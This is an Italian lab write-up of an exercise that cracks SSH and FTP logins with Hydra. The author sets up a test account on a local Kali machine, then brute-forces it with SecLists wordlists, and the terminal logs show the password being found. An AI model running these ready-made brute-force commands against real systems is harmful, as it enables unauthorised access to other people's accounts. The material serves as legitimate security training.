Authentication cracking con Hydra

L'esercizio si svilupperà in due fasi:

-Una prima fase dove abilito un servizio SSH e la sessione di cracking dell'autenticazione con Hydra.

-Una seconda fase dove configuro e cracco il servizio FTP.

FASE 1

Creo un nuovo utente (test_user), con relativa password (testpass), avvio il servizio ssh e testo la connessione con IP di Kali.

```
┌──(betta㉿kali)-[~]
└─$ sudo adduser test_user
[sudo] password for betta:
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
warn: The home directory `/home/test_user' already exists.  Not touching this directory.
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
        Full Name []:
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...

┌──(betta㉿kali)-[~]
└─$ sudo service ssh start

┌──(betta㉿kali)-[~]
└─$ sudo nano /etc/ssh/sshd_config

┌──(betta㉿kali)-[~]
└─$ ssh test_user@192.168.1.22
The authenticity of host '192.168.1.22 (192.168.1.22)' can't be established.
ED25519 key fingerprint is SHA256:19Iqo1SSVztah+F4bQueJuVUzUXGVu4VNNAHiP+lxHw.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.22' (ED25519) to the list of known hosts.
test_user@192.168.1.22's password:
Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
```

Installo seclist per utilizzare elenchi di username e password e avvio l'attacco con Hydra:

```
┌──(betta㉿kali)-[/usr/share/seclists/Usernames]
└─$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.1.22 -t4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-06 20:51:43
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295464295456 login tries (l:8295456/p:1000001), ~2073866073864 tries per task
[DATA] attacking ssh://192.168.1.22:22/
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "123456" - 1 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "password" - 2 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "12345678" - 3 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "qwerty" - 4 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "123456789" - 5 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "12345" - 6 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "1234" - 7 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "111111" - 8 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "1234567" - 9 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "dragon" - 10 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "123123" - 11 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "baseball" - 12 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "abc123" - 13 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "football" - 14 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "monkey" - 15 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "letmein" - 16 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "testpass" - 17 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "696969" - 18 of 8295464295456 [child 1] (0/0)
[22][ssh] host: 192.168.1.22   login: test_user   password: testpass
[ATTEMPT] target 192.168.1.22 - login "info" - pass "123456" - 1000002 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.1.22 - login "info" - pass "password" - 1000003 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.1.22 - login "info" - pass "12345678" - 1000004 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.1.22 - login "info" - pass "qwerty" - 1000005 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.1.22 - login "info" - pass "123456789" - 1000006 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.1.22 - login "info" - pass "12345" - 1000007 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.1.22 - login "info" - pass "1234" - 1000008 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.1.22 - login "info" - pass "111111" - 1000009 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.1.22 - login "info" - pass "1234567" - 1000010 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.1.22 - login "info" - pass "dragon" - 1000011 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.1.22 - login "info" - pass "123123" - 1000012 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.1.22 - login "info" - pass "baseball" - 1000013 of 8295464295456 [child 3] (0/0)
```

Le credenziali sono state correttamente craccate.

FASE 2

Installo e avvio il servizio ftp. Tento l'attacco con Hydra:

```
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.11.2-3) ...
Processing triggers for kali-menu (2023.4.5) ...

┌──(betta㉿kali)-[/usr/share/seclists/Usernames]
└─$ sudo service vsftpd start

┌──(betta㉿kali)-[/usr/share/seclists/Usernames]
└─$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.1.22 -t4 ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-06 20:56:44
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295464295456 login tries (l:8295456/p:1000001), ~2073866073864 tries per task
[DATA] attacking ftp://192.168.1.22:21/
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "123456" - 1 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "password" - 2 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "12345678" - 3 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "qwerty" - 4 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "123456789" - 5 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "12345" - 6 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "1234" - 7 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "111111" - 8 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "1234567" - 9 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "dragon" - 10 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "123123" - 11 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "baseball" - 12 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "abc123" - 13 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "football" - 14 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "monkey" - 15 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "letmein" - 16 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "testpass" - 17 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "696969" - 18 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "shadow" - 19 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.1.22 - login "test_user" - pass "master" - 20 of 8295464295456 [child 1] (0/0)
[21][ftp] host: 192.168.1.22   login: test_user   password: testpass
[ATTEMPT] target 192.168.1.22 - login "info" - pass "123456" - 1000002 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.1.22 - login "info" - pass "password" - 1000003 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.1.22 - login "info" - pass "12345678" - 1000004 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.1.22 - login "info" - pass "qwerty" - 1000005 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.1.22 - login "info" - pass "123456789" - 1000006 of 8295464295456 [child 2] (0/0)
```

Anche per il servizio ftp, le credenziali sono state trovate.